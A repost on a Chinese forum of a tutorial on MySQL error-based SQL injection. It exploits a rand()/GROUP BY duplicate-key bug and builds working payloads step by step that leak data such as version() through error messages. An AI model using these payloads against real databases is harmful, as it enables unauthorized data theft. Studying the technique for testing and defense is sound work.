• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    网站MYSQL数据库高级爆错注入原分析

    发布者: 午夜收音机 | 发布时间: 2025-6-27 16:00| 查看数: 22| 评论数: 0|帖子模式

    这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
    grouping on certain parts of the result from rand, causes a duplicate key error.

    重现过程:
    SQL Code复制内容到剪贴板
         
    • use mysql;      
    • create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);      
    • select left(rand(),3),a from r1 group by 1;      
    • select left(rand(),3),a, count(*) from r1 group by 1;      
    • select round(rand(1),1)  ,a, count(*) from r1 group by 1;  
    于是便可以这样拿来爆错注入了。


    复制代码代码如下:
    select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

    尝试拿来实战


    复制代码代码如下:
    select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

    提示错误 选择的列应该为一个。那么。我们换一下

    复制代码代码如下:
    select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>



    复制代码代码如下:
    1248 (42000): Every derived table must have its own alias

    提示多表查询要有别名 那好办


    复制代码代码如下:
    select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

    或者


    复制代码代码如下:
    select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

    成功爆粗注入了.
    作者: 小残 绳命不息 |折腾不止

    来源:https://www.jb51.net/hack/488268.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表